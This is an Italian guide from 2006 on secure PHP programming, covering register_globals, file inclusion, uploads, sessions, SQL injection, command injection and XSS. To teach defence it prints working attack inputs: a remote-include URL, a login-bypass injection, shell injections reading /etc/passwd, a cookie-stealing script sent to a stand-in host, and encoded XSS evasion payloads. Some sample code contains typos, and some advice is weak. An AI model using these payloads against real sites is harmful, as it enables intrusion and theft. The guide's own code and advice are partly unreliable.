SlideShare a Scribd company logo
1 of 20
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it




               SICUREZZA E PHP
     Linee guida per una programmazione Php più sicura




                               Stefano Bianchini
                     Superadmin @ http://cesena.ing2.unibo.it


                                   4 Settembre 2006

                                     Prima release




                    Copyright 2006 © CeSeNA , Stefano Bianchini   1
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it




Introduzione
       “Il livello di sicurezza cala esponenzialmente con l’aumentare del numero dei servizi offerti”
[Legge di Ce.Se.N.A. sulla sicurezza]. A tutti noi piacerebbe d’estate dormire con le finestre spa-
lancate, ma purtroppo i malintenzionati esistono e dobbiamo affrontare il problema.
       Il concetto di sicurezza in Php può essere visto proprio sotto quest’ottica: se vogliamo tenere
le finestre aperte di notte, dobbiamo almeno munirci di una inferriata. Dunque, il primo passo viene
effettuato con la consapevolezza di quello che potrebbe succedere.



Prerequisiti a questa guida
       Conoscenze base di Php: funzioni, variabili, tipi di variabili, connessioni a database, utilizzo
dei cookies e delle sessioni.



Contenuti
1. Register Globals                                                                                3
2. Inclusione di files                                                                             5
3. Upload di files                                                                                 6
4. Autenticazioni: metodi a confronto                                                              8
5. Sql injection                                                                                   10
6. Esecuzioni di comandi remoti                                                                    14
7. XSS, Cross Site Scripting                                                                       15
8. Password, generatori, password smarrite                                                         19
9. Appendice                                                                                       20



Obiettivi
       Rendere i lettori consapevoli dei rischi reali dovuti alla non buona fede degli utenti. Scopo
di questo articolo non è dare soluzioni definitive, ma far sapere che possono esistere attacchi e in
quale forma possono presentarsi.




                         Copyright 2006 © CeSeNA , Stefano Bianchini                                    2
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



1. Register Globals
       La direttiva “register globals” è uno strascico di retrocompatibilità verso una modalità di
programmazione in Php di qualche anno fa. Vediamo di cosa si tratta.
       Attualmente, per accedere a variabili “particolari” (GET, POST, COOKIES, SESSION)
bisogna richiamarle tramite array appositi, ad esempio $_POST[“nomevariabile”].
Nelle vecchie versioni, oppure settando ad “ON” la direttiva Register Globals, è possibile
richiamare queste variabili come se fossero variabili qualunque, quindi anteponendo il simbolo “$”
al nome, ad esempio, di un input di un form HTML.

1.    <?
2.    //come si legge una variabile "particolare" adesso
3.    echo $_POST["nomevariabile"];
4.    //come la si leggeva prima (o con le RG settate ad ON)
5.    echo $nomevariabile;
6.    ?>
7.    <!-- Il form Html -->
8.    <FORM METHOD="post" action="<?=$PHPSELF?>">
9.    <input type="text" name="nomevariabile" />
10.   </FORM>

       Questa direttiva, associata a piccolo errori di programmazione, può dar luogo a numerosi
problemi di sicurezza. Consideriamo la seguente procedura di controllo di accesso:

1.    <?
2.    if ($password==$passwordgiusta) {
3.    setcookie("autenticato","true");
4.    }
5.    //... ...
6.
7.
8.    //Pensavo di leggere il contenuto del cookie
9.    //Ma se un intruso chiama pagina.php?autenticato=true ...
10.   //Purtroppo il sistema legge $autenticato come true!!!
11.   if ($autenticato) {
12.       //posso fare qualsiasi cosa
13.   }
14.   else {
15.       //non posso fare niente
16.   }
17.   ?>

       Per risolvere il problema è consigliabile disabilitare la direttiva, inizializzare ogni variabile
utilizzata e utilizzare gli array globali ($_GET, $_POST, $_SESSION, $_COOKIE) anche in caso
di register_globals ON. Tanti vecchi script Php non funzionano per questo motivo!
       Vediamo l’esempio corretto del codice precedente:


                        Copyright 2006 © CeSeNA , Stefano Bianchini                                   3
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


1.    <?
2.    if ($password==$passwordgiusta) {
3.    setcookie("autenticato","true");
4.    }
5.    //... ...
6.
7.    //Ora è giusto il controllo
8.    if ($_COOKIE["autenticato"]) {
9.        //posso fare qualsiasi cosa
10.   }
11.   ?>




                    Copyright 2006 © CeSeNA , Stefano Bianchini   4
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



2. Inclusione di files
       Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e
procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di
tempo per il programmatore e un aumento di velocità nell’esecuzione del codice.
       Questa caratteristica rende più semplice il compito del programmatore nel caso di siti
multilingua, ossia il cui contenuto (menù, link) debba essere mostrato in più lingue a seconda della
scelta dell’utente.
       Il seguente codice illustra come sfruttare erroneamente l’inclusione di file php per gestire
più linguaggi:


1.     <?
2.     //ipotizziamo ad esempio, pagina.php?lang=it
3.     //oppure pagina.php?lang=en
4.
5.     include($_GET["lang"]."php");
6.
7.     //lang = en -> include("en.php");
8.     //lang = it -> include("it.php");
9.
10.    ?>

       Consideriamo ora la seguente strategia di attacco:

1.
2.     GET pagina.php?lang=http://sitocattivo.com/script
3.
4.     -> include(http://sitocattivo.com/script.php);


       Il file script.php potrebbe contenere qualsiasi codice php, che verrebbe eseguito sul
webserver! È sempre consigliabile quindi utilizzare una struttura di tipo switch – case:

1.     <?
2.     switch ($_GET["lang"]) {
3.         case "it": include("it.php");break;
4.         case "en": include("en.php");break;
5.         default: include("it.php");break;
6.     }
7.     ?>

       É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF” per
disabilitare la possibilità di includere script remoti (cioè non appartenenti al webserver su cui state
programmando).
       Le considerazioni fatte valgono sia per include() che per require().


                        Copyright 2006 © CeSeNA , Stefano Bianchini                                  5
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



3. Upload di files
        Spesso si ha la necessità, all’interno di un sito, di dare la possibilità agli utenti di caricare
file sul server: si pensi, ad esempio, a forum, blog, image gallery (i famosi avatar, le immagini
personali degli utenti).
Metaforicamente è come una gioielleria costretta, pur essendo chiusa dal lavoro, a mostrare preziosi
in vetrina, senza le saracinesche abbassate; se così non fosse i clienti che passeggiano la sera in
centro non potrebbero vedere e notare i gioielli in vendita!
        Così come il gioielliere prende tutte le precauzioni possibili (sensori antifurto, vigilanza,
vetri antisfondamento), il programmatore può avvalersi di controlli per la sicurezza relativa del
server. Elenchiamoli:
     a) Controlli sulla dimensione
     Non vogliamo che gli utenti intasino il server (nel caso delle immagini) con foto di parecchi
     mega! Possiamo utilizzare la funzione filesize() del php, evitando questo problema. Esiste
     anche un campo form html apposito per le dimensioni massime del file, ma è facilmente
     aggirabile.
     È anche possibile utilizzare direttamente l’array $_FILES, come segue:
     $_FILES['miofile']['size'].
     Vediamo qualche esempio:
1.      <?
2.      //Se il file è più grande di 1 MB
3.      if (filesize($_FILES['miofile']['tmp_name']>1048576) {
4.          die("Il file inviato è troppo grande");
5.      }
6.      ?>


     b) Controlli sull’estensione
     Considerate che qualsiasi file .php viene eseguito dall’interprete, seguendo le regole salvate
     nella configurazione del webserver; se quest’ultimo esegue anche altri formati (ad esempio
     ASP) è importante rifiutare tutte le estensioni “pericolose”.
     Un esempio di una possibile censura basata sull’estensione:


1.      <?
2.      //Mostra l'estensione basandosi sul nome del file
3.      //ad esempio $nomefile='prova.php'
4.      function trova_estensione($nomefile) {
5.          //$temp='php.avorp'
6.          $temp=strrev($nomefile);
7.          //prima occorrenza del punto nella stringa rovesciata
8.          $posizione=strpos($temp,".");

                           Copyright 2006 © CeSeNA , Stefano Bianchini                                 6
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


9.           if (!$posizione) echo "SCONOSCIUTA";
10.          //calcolo della reale posizione del punto nella frase
11.          //non rovesciata
12.          $posizione_reale=strlen($nomefile)-$posizione;
13.          echo substr($nomefile,$posizione_reale);
14.     }
15.     ?>


     c) Controlli sul mime/type
     Tramite l’array globale $_FILES è possibile controllare il mimetype del file appena caricato,
     prima che questo sia effettivamente salvato sul server.
     Può venire in aiuto la funzione mime_content_type(), che restituisce il tipo mime del file.
1.      <?
2.      //Se il file non è una immagine GIF
3.      if (mime_content_type($_FILES["miofile"]["tmp_name"])!="image/gif") {
4.          die("Il file inviato non è una immagine GIF!");
5.      }
6.      ?>


     d) Controlli sul contenuto
     È possibile aprire il file per cercarvi all’interno strutture conosciute (sequenze di bytes comuni
     per i PNG, GIF ecc.).
1.      <?
2.          // borrowed from InfectedAttachmentCheck
3.          // phPOP3clean by James Heinrich <info@silisoftware.com>
4.          // available at http://phpop3clean.sourceforge.net
5.      function check_real_type($BinayData) {
6.          $filetype_lookup = array(
7.              'gif' => '^GIF',
8.              'jpeg' => '^xFFxD8xFF',
9.              'png' => '^x89x50x4Ex47x0Dx0Ax1Ax0A',
10.             'tiff' => '^(IIx2Ax00|MMx00x2A)',
11.             'bmp' => '^BM',
12.             'swf' => '^(F|C)WS',
13.             'gz'   => '^x1Fx8Bx08',
14.             'zip' => '^PKx03x04',
15.             'rar' => '^Rar!',
16.             'exe' => '^MZ',
17.         );
18.         foreach ($filetype_lookup as $ext => $pattern) {
19.             if (preg_match('/'.$pattern.'/s', $BinaryData)) {
20.                 $piece_fileext = $ext;
21.                 return $ext;
22.             }
23.         }
24.     }
25.     ?>




                         Copyright 2006 © CeSeNA , Stefano Bianchini                                 7
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



4. Autenticazioni: metodi a confronto
       Consideriamo l’ipotesi di una autenticazione utente / password salvati in un database. Una
volta che l’utente abbia correttamente inserito i campi richiesti, il server deve riconoscerlo in ogni
successiva azione, senza aver bisogno che vengano reinseriti per ogni pagina le credenziali.
       Per fare ciò possiamo ricorrere principalmente a tre metodi. Il primo di questi è l’utilizzo di
un cookie il quale viene interpretato come un “flag” di una autenticazione già effettuata.
Analizziamo il codice citato in precedenza:
1.    <?
2.    if ( /* utente e password giusti */) {
3.        setcookie("autenticato","true");
4.    }
5.    //...
6.    if ($_COOKIE["autenticato"]=="true") {
7.        //fai tutto ciò che vuoi
8.    }
9..   ?>


Questo metodo, che utilizza esclusivamente un cookie, è da evitare poiché molto insicuro. Se
l’intruso comprende che basta un cookie di nome “autenticato” con valore “true” per accedere, è
molto semplice che replichi quest’ultimo (un cookie è facilmente riproducibile).
       L’autenticazione deve, quindi, lasciare “tracce” sia lato client (in modo che il php possa
richiederlo al browser come credenziale) sia lato server (traccia inalterabile e non riproducibile).
In questo caso viene in aiuto il concetto di sessione; vediamo uno schema di funzionamento:

                                 Lato client
                                                    Salvo in un cookie
                                                       il session_id
              Utente e
              password
               giusti?                                Sul server viene
                                                     salvato un file con
                                                      nome session_id
                                 Lato server            contenente le
                                                    variabili di sessione


Una sessione php “pura” non è immune all’attacco Man In The Middle. La session_id è
memorizzata nel cookie (oppure inviata via GET) e come tale intercettabile da un intruso in ascolto
(session hijacking). Non è sufficiente quindi memorizzare la session_id ma è necessario




                         Copyright 2006 © CeSeNA , Stefano Bianchini                                   8
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


memorizzare lato server anche informazioni che identificano (quasi) univocamente il client, come
l’indirizzo IP e il browser utilizzato, ad esempio.
Il terzo metodo utilizza proprio queste ulteriori misure di sicurezza, appoggiandosi ad un database
Mysql. Vediamo le tabelle del database:
1.     <?
2.     /*
3.     CREATE TABLE `sessioni` (
4.       `sesid` varchar(255) NOT NULL default '',
5.       `time` int(11) NOT NULL default '0',
6.       `ip` varchar(20) NOT NULL default '',
7.       `admin` enum('1','0') NOT NULL default '1',
8.       `utente` varchar(255) NOT NULL default '',
9.       `user_id` int(11) NOT NULL default '0',
10.      PRIMARY KEY (`sesid`)
11.    );
12.    */
13.    /*
14.    CREATE TABLE `utenti` (
15.      `id` int(11) NOT NULL auto_increment,
16.      `name` varchar(50) NOT NULL default '',
17.      `username` varchar(25) NOT NULL default '',
18.      `email` varchar(100) NOT NULL default '',
19.      `password` varchar(100) NOT NULL default '',
20.      `usertype` varchar(25) NOT NULL default '',
21.      PRIMARY KEY (`id`)
22.    );
23.    */
24.


E il codice relativo alle funzioni utilizzate:
25.    function user_check($username,$userpas){
26.        //la prudenza non mai troppa, vedi SQL injection
27.         $username=mysql_escape_string($username);
28.         $userpas=mysql_escape_string($userpas);
29.
30.         //Tralasciamo il codice per collegarsi al DB
31.         // e passiamo direttamente alla query
32.         $result=mysql_query("SELECT id,username,password FROM utenti WHERE
33.    username = '".$username."' AND password='".md5($userpas)."'");
34.
35.    if (mysql_num_rows($result)==0) {
36.    die("Nome utente o password errati.");
37.    }
38.         $row_obj=mysql_fetch_object($result);
39.         $user_id=$row_obj->id;
40.         mysql_free_result($result);
41.
42.        //Genera session id e la sua scadenza
43.        $sesid = md5(time());
44.        //il cookie scade dopo 20 minuti
45.        setcookie("sessioncookie", $sesid, time()+1200);
46.        //Sul database salvo una session_id cifrata
47.        //(risultato di un hash tra la session_id originale e l'indirizzo IP
48.        //dell'utente, nonché del suo browser
49.    $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE
50.    NT']);


                         Copyright 2006 © CeSeNA , Stefano Bianchini                             9
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


51.        //la sessione sul DB scade dopo 20 minuti
52.        $time = time() + 1200;
53.
54.        mysql_query("INSERT INTO sessioni(sesid,time,ip,admin,utente,user_id)
55.        VALUES('$criptsessionid','$time','".$_SERVER['REMOTE_ADDR']."',
56.        '0','$username','$user_id')");
57.        //Torno alla pagina principale, naturamente ora l'utente è loggato
58.        header("Location:index.php");
59.   }
60.
61.   function logout() {
62.   $sesid=$_COOKIE["sessioncookie"];
63.   $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE
64.   NT']);
65.   setcookie("sessioncookie", "0", time());
66.   exec_query("DELETE FROM sessioni WHERE sesid='$criptsessionid'",0);
67.   }
68.
69.   //Controlla la sessione in ogni pagina
70.   function session_check($sesid) {
71.   $sesid=$_COOKIE["sessioncookie"];
72.   if ($sesid=="") {header("Location: login.php");} else {
73.       mysql_query("DELETE FROM sessioni WHERE (time+60) < ".time());
74.   $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE
75.   NT']);
76.   $check_time = mysql_query("SELECT sesid,time FROM sessioni WHERE sesid =
77.   '$criptsessionid'");
78.            $time_row = @mysql_fetch_array($check_time);
79.            $bitis = $time_row["time"];
80.            if ($bitis < time()){
81.            die("<center>Spiacenti, la tua sessione &egrave; scaduta. Per
82.   favore fai di nuovo il <a href="login.php"
83.   target="_parent">login</a>...</center>");
84.            }
85.       }//else
86.   }
87.   ?>


       Come si nota, la funzione user_check viene richiamata una sola volta (durante il login) per il
controllo utente – password e in caso positivo ha inizio la “sessione”. La funzione session_check
controlla le credenziali dell’utente basandosi sulla session_id del cookies, sull’ip e sul browser e
viene richiamata in ogni pagina ad accesso controllato. La funzione logout termina la sessione.
In questo modo il cookie ha solo una parte dell’informazione per accedere alla sessione: gli altri due
ingredienti sono l’indirizzo IP del cliente e lo User Agent (e se un intruso riesce a replicare anche
quelli, facendo un Man In The Middle e un IpSpoofing beh…allora se lo merita!)
       Un’ultima considerazione sulla “vita” (usualmente chiamata LT, LiveTime) data al
meccanismo di sessione (qualsiasi metodo). È bene infatti dare una scadenza relativamente breve,
ma lunga abbastanza da permettere di lavorare tranquillamente (se dopo 5 secondi scade, non si
riesce neanche a leggere una pagina; se scade dopo 24 ore, è un po’ rischioso…).




                        Copyright 2006 © CeSeNA , Stefano Bianchini                                10
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



5. Sql Injection
       «SQL injection is a security vulnerability that occurs in the database layer of an application.
The vulnerability is present when user input is either incorrectly filtered for string literal escape
characters embedded in SQL statements or user input is not strongly typed and thereby
unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can
occur whenever one programming or scripting language is embedded inside another» [Wikipedia,
http://en.wikipedia.org/wiki/Sql_injection].
       Possiamo vedere una SQL injection come una minaccia concreta per i sistemi di
autenticazione. Vediamo infatti qualche esempio di questo attacco:
1.    <?
2.    $utente=$_POST["username"];
3.    $password=md5($_POST["password"]);
4.    if (mysql_num_rows(mysql_query("SELECT utente,password FROM utenti "
5.        ."WHERE utente='$utente' AND password='$password'"))>0) {
6.        //autenticato correttamente
7.    }
8.    ?>


In questo caso, se postiamo come nome utente la stringa «admin’ OR 1=1 ;» la query assume il
seguente aspetto:
1.    SELECT utente,password FROM UTENTI
2.    WHERE utente = ‘admin’ OR 1=1 ;‘ AND password=’something’


Con il codice di autenticazione precedente, abbiamo appena ricevuto i diritti dell’amministratore!
Tutto perché siamo riusciti ad iniettare codice SQL utilizzando apici e punto e virgola per
commentare il controllo sulla password.
       Vediamo alcuni metodi per contrastare questo attacco. Attualmente il php mette a
disposizione funzioni per “valicare l’input”. In particolare, censurare i caratteri particolari che
permettono all’intruso di inserire codice SQL a piacimento (ad esempio il carattere ‘).
Le api standard del nostro linguaggio preferito ci vengono in aiuto con mysql_escape_string() e
mysql_real_escape_string() (quest’ultima tiene conto dell'attuale set di caratteri della

connessione). Queste funzioni non aggiungono le sequenze di escape a caratteri come ‘%’ ed a ‘_’.
       Dobbiamo però anche considerare altri errori (voluti e non) da parte degli utenti: stringhe al
posto di valori numerici, valori di lunghezza troppo elevata (possibile buffer overflow).
Possiamo utilizzare funzioni native del php per il controllo del tipo di variabile come
is_numeric(), is_string(), is_int(), is_float() e troncare stringhe di lunghezza eccessiva

con substr().

                        Copyright 2006 © CeSeNA , Stefano Bianchini                                11
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


Riassumiamo questi controlli:
1.     <?
2.     //Mette in sicurezza la stringa, eventualmente
3.     //la tronca in base alla lunghezza max
4.     function check_string($stringa,$lunghezzamax=0) {
5.         $t_string=mysql_escape_string($stringa);
6.         if ($lunghezzamax>0) {
7.             $t_string=substr($5_string,0,$lunghezzamax);
8.         }
9.         return $t_string;
10.    }
11.
12.    //Controlla se è un numero
13.    //altrimenti restituisce 0
14.    //@ param $tipo = 'int', 'float', '' (numero generico)
15.    function check_number($numero,$tipo='') {
16.        switch($tipo) {
17.        case 'int':
18.            if (is_int($numero)) { return $numero; }
19.            else { return 0; }
20.        case 'float':
21.            if (is_float($numero)) { return $numero; }
22.            else { return 0; }
23.        default:
24.            if (is_numeric($numero)) { return $numero; }
25.            else { return 0; }
26.        }
27.    }
28.    ?>


       Controlli lato client possono essere usati per la comodità dall’utente, ma affiancati sempre a
controlli lato server (Javascript può essere disabilitato o modificato!).
       Anche prendere misure preventive aumenta la sicurezza: ad esempio evitare che al momento
dell’iscrizione l’utente utilizzi caratteri e parole riservate (apici, doppi apici, parole come
“SELECT”, “GRANT”, “UNION”…) Chiaramente prima di eseguire qualsiasi query questi caratteri
e parole devono essere censurati da una funzione apposita.
1.     <?
2.     //variabile utilizzata come globale
3.     //per memorizzare gli errori
4.     $feedback='';
5.     function account_namevalid($name) {
6.         global $feedback;
7.         // Non vogliamo spazi
8.         if (strrpos($name,' ') > 0) {
9.             $feedback .= " There cannot be any spaces in the name.";
10.            return false;
11.        }
12.
13.         // Deve contenere almeno un carattere alfabetico
14.         if (strspn($name,"abcdefghijklmnopqrstuvwxyz
15.         ABCDEFGHIJKLMNOPQRSTUVWXYZ") == 0) {
16.             $feedback .= "There must be at least one character.";
17.             return false;
18.         }
19.

                         Copyright 2006 © CeSeNA , Stefano Bianchini                              12
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


20.        // deve contenere solo caratteri "legali"
21.        if (strspn($name,"abcdefghijklmnopqrstuvwxyz
22.        ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_")!= strlen($name)) {
23.            $feedback .= " Illegal character in name. ";
24.            return false;
25.        }
26.
27.        // lunghezza minima e massima
28.        if (strlen($name) < 5) {
29.            $feedback .= " Name is too short. It must be at least 5 chars. ";
30.            return false;
31.        }
32.        if (strlen($name) > 15) {
33.            $feedback .= "Name is too long. It must be less than 15 chars.";
34.            return false;
35.        }
36.
37.        // Nomi illegali da censurare
38.        if (eregi("^((root)|(bin)|(daemon)|(adm)|(lp)|(sync)|(shutdown)"
39.            ."|(halt)|(mail)|(news)|(union)"
40.            . "|(uucp)|(select)|(grant)|(mysql)|(httpd)|(nobody)|(dummy)"
41.            . "|(www)|(cvs)|(shell)|(ftp)|(irc)|(debian)"
42.            ."|(ns)|(download))$",$name)) {
43.            $feedback .= "Name is reserved.";
44.            return 0;
45.        }
46.        if (eregi("^(anoncvs_)",$name)) {
47.            $feedback .= "Name is reserved for CVS.";
48.            return false;
49.        }
50.
51.        return true;
52.   }
53.   ?>




                    Copyright 2006 © CeSeNA , Stefano Bianchini                13
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



6. Esecuzione di comandi remoti
       L’esecuzione di comandi remoti avviene tramite i comandi php exec(), system(), passthru().
Nei sistemi posix like, però, l’utilizzo di particolari apici rovesciati ( ` ). Gli apici rovesciati
(backsticks) eseguono il comando contenuto e restituiscono l ’output. Questo porta a falle nella
sicurezza, nei sistemi dove andiamo ad eseguire comandi con parametri specificati dall’utente;
consideriamo infatti questo scenario:
1.     <?
2.          $host=$_GET["host"];
3.          $esegui = exec('nmap '.$host, $output);
4.          var_dump($output);
5.
6.     ?>


Poiché gli apici rovesciati eseguono ciò che è contenuto al loro interno, se proviamo a richiedere
pagina.php?host=`cat /etc/passwd`
Il risultato sarà un errore di nmap, ma l’istruzione cat verrà eseguita ma non completamente
visualizzata. Pensate però che succede se mettete una istruzione di tipo wget (serve per scaricare file
remoti): riuscite a inserire nel server un file qualsiasi!
       Le risorse del php sono infinite, e quest’ultimo rende disponibili funzioni per eliminare gli
apici rovesciati, escapeshellcmd() per i comandi e escapeshellarg() per gli argomenti
(parametri).
1.     <?
2.     function secure_exec($comando,$parametri,& $output) {
3.         $safe = array();
4.         $safe['comando'] = escapeshellcmd($comando);
5.         $safe['parametri'] = escapeshellarg($parametri);
6.         $esegui = exec($safe['comando']." ".$safe['parametri'], $output,
       $return);
7.         return $return;
8.     }
9.     ?>


La funzione appena esposta mette al sicuro anche da iniezioni di codice indipendenti dagli apici,
sfruttando il simbolo di pipe “|” che è comune ai vari sistemi operativi. Vediamo un esempio di
attacco (consideriamo il codice di nmap precedente):
1.     GET pagina.php?host=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd
2.
3.     Che esegue il comando
4.     nmap /dev/null | cat /etc/passwd


Questo invece, a causa dell’ordine imposto dalla pipe, mostrerà il contenuto del file contenente le
password!

                          Copyright 2006 © CeSeNA , Stefano Bianchini                                14
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



7. XSS Cross Site Script
       Bei tempi, quando le chat erano ancora in CGI e si aggiornavano con il tag meta-
refresh…mi ricordo che per fare impazzire un po’ di gente postavo:
Ciao a tutti! <script language=”Javascript”>alert(‘Un virus è entrato nel tuo
computer!’);</script>



Tutti disperati perché pensavano di aver preso un virus, e i moderatori indaffarati a spiegare che era
“solo” Javascript.
       I tempi sono cambiati, è vero, ma il problema è rimasto lo stesso. Si è evoluto, ha trovato
nuovi modi per nascere, ma in sostanza è rimasto lo stesso. Sto parlando dell’inserimento arbitrario
di codice scripting (Javascript, Livescript e via dicendo) all’interno di forum e simili.
       È cognizione comune che Javascript e i linguaggi client side non possano arrecare danni al
computer nel quale vengono eseguiti: questo è vero, con Javascript non si riesce a cancellare files,
formattare l’hard disk, scaricare virus…e allora dove sta il problema di sicurezza?
       Purtroppo questi linguaggi hanno libero accesso ai tanto amati cookies, utilizzati da noi
programmatori per tenere traccia dell’utente (in tutti i metodi visti in precedenza, vedi paragrafo 4).
Questa peculiarità, aggiunta alle potenzialità di un linguaggio server side residente in un sito
“cattivo”, rende i nostri prodotti vulnerabili agli attacchi XSS. Consideriamo infatti un semplice
forum che salvi in database direttamente ciò che l’utente scrive in una textarea:




Senza controlli sul salvataggio, questa messaggio verrà inserita nel database, con il risultato ad ogni
accesso alla pagina, verrà eseguito il codice Javascript (in questo caso il browser mostrerà un alert
con la scritta “XSS”). Ora passiamo a qualcosa di più rischioso:

Ciao, penso che
<script>
document.location=’http://cattivo.example.com/script.php’+document.cookies
</script>

                         Copyright 2006 © CeSeNA , Stefano Bianchini                                 15
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


Immaginiamo che script.php sia del codice php che permetta ad un intruso di salvare i nostri
cookies… Certo, il terzo metodo di autenticazione (cookie con session_id, indirizzo IP, tipo di
browser e Mysql) è parecchio resistente anche ad attacchi XSS (ma la sicurezza certa non esiste).
La prima cosa che viene in mente sarebbe di eliminare i tag “SCRIPT” dalle frasi prima di salvarle;
questo però non è abbastanza, perché possibile sfruttare vulnerabilità di interpretazione di altri tag:
body, img, iframe e così via. Vediamo alcuni esempi:
<IMG SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IMG SRC=JaVaScRiPt:alert('XSS')> <!--Case Insensitive-->


Gli esempi sono molteplici; inoltre è possibile celare parole riservate (“javascript:” e così via)
con particolari codifiche (UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex
encoding). Vediamo qualche esempio [ from http://ha.ckers.org/xss.html ]:
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1
01;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00
00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0
000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&
#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

       La soluzione migliore è impedire che l’utente riesca ad inserire qualsiasi tag html: il risultato
sarà solo testo, effetto grafico basso, ma sicuramente non conterrà codice XSS. Questo può essere
fatto con la funzione htmlentities() nativa di php. Vediamo un esempio di prima e dopo:
1.    <?
2.    //Prima
3.    $stringa="<script>alert('XSS');</script>";
4.    //Dopo: &lt;script&gt;alert('XSS');&lt;/script&gt;
5.    echo htmlentities($stringa);
6.    ?>

Questa funzione permette anche di specificare il tipo di codifica utilizzato. Per una sicurezza
ulteriore (più che altro per non mostrare a video tag html non “esteticamente gratificanti”) si può
ricorrere alla seguente funzione:
1.    <?
2.        /**
3.        * Cleans text of all formating and scripting code
4.        */
5.        function cleanText ( &$text ) {
6.           $text = preg_replace( "'<script[^>]*>.*?</script>'si", '', $text );
7.            $text = preg_replace(
      '/<as+.*?href="([^"]+)"[^>]*>([^<]+)</a>/is', '2 (1)', $text );
8.            $text = preg_replace( '/<!--.+?-->/', '', $text );


                        Copyright 2006 © CeSeNA , Stefano Bianchini                                  16
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


9.               $text   =   preg_replace( '/{.+?}/', '', $text );
10.              $text   =   preg_replace( '/&nbsp;/', ' ', $text );
11.              $text   =   preg_replace( '/&amp;/', ' ', $text );
12.              $text   =   preg_replace( '/&quot;/', ' ', $text );
13.              $text   =   strip_tags( $text );
14.              $text   =   htmlspecialchars( $text );
15.
16.              return $text;
17.         }
18.   ?>


In certi casi è possibile e concreta la necessità di un sito di permettere agli utenti qualche miglioria
grafica (testo in grassetto, corsivo, centrato, inserimento di immagini). La prima soluzione può
essere utilizzare il cosiddetto BBCode:

“BBCode is an abbreviation for Bulletin Board Code, the markup language used to format posts in
many message boards. The available tags are usually indicated by rectangular brackets
surrounding a keyword, and they are parsed by the message board system before being translated
into a markup language the web browsers understands, usually HTML or XHTML.

BBCode was devised and put to use in order to provide a safer, easier and more limited way of
allowing users to format their messages. Previously, many message boards allowed the users to
include HTML, which could be used to break/imitate parts of the layout, or run JavaScript. Some
implementations of BBCode have suffered problems related to the way they translate the BBCode
into HTML, which could negate the security that was intended to be given by BBCode.”
[Wikipedia, http://en.wikipedia.org/wiki/BBCode].

Quindi: BBCode come tentativo di limitare Javascript, con il risultato che certe implementazioni
trasformavano direttamente le parentesi quadre ( [b] ) in simboli minore/maggiore dell’html (<b>).
Una buona implementazione può però evitare molti problemi, e scongiurare attacchi XSS. A meno
che non si tratti di inserimento di immagini: infatti il BBCode trasforma la struttura:
[IMG]http://www.example.com/image.gif[/IMG]
in <IMG SRC=”http://www.example.com/image.gif”>


Un’ipotesi di attacco sarebbe quindi :
[IMG]javascript:alert(‘XSS’)[/IMG]
-> <IMG SRC=”javascript:alert(‘XSS’)”>


       Questo problema è risolvibile analizzando il contesto: l’utente deve inserire immagini con
percorso remoto, della forma http://www.example.com/image.gif. Tutto sta quindi nel controllare
che il percorso dell’immagine sia un URL valido, con la funzione che segue:

1.    <?
2.          function isValidURL($url)
3.          {

                         Copyright 2006 © CeSeNA , Stefano Bianchini                                 17
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it


4.             return preg_match('|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-
       9]+)?(/.*)?$|i', $url);
5.         }
6.
7.     ?>


        Ultimamente però, soprattutto considerando inserimento di news, blog eccetera sta
prendendo sempre più piede l’editor Wysiwyg (What You See Is What You Get) . Un esempio
famoso può essere FKEditor (http://www.fckeditor.net/). Questi editor utilizzano direttamente
codice html (per una immediata visualizzazione in textarea tramite javascript). Il trucco del BBCode
quindi salta ed è necessario trovare una ulteriore soluzione al problema.
        Un aiuto ci giunge dalla rete: un geniale sviluppatore ha avuto l’idea e la pazienza di
scrivere una classe php dedicata alla validazione del codice html (Php Input Filter,
http://cyberai.com/inputfilter/index.php,     scaricabile    liberamente   secondo   GPL   all’indirizzo
http://cyberai.com/inputfilter/input_filter.zip).
Questa classe permette, in maniera efficace e veloce, di censurare tag, attributi e codici XSS non
voluti e di lasciare inalterati tutti gli altri. Un consiglio? Usatela!


        Una considerazione finale: la maggior parte degli attacchi XSS non funziona con Mozilla
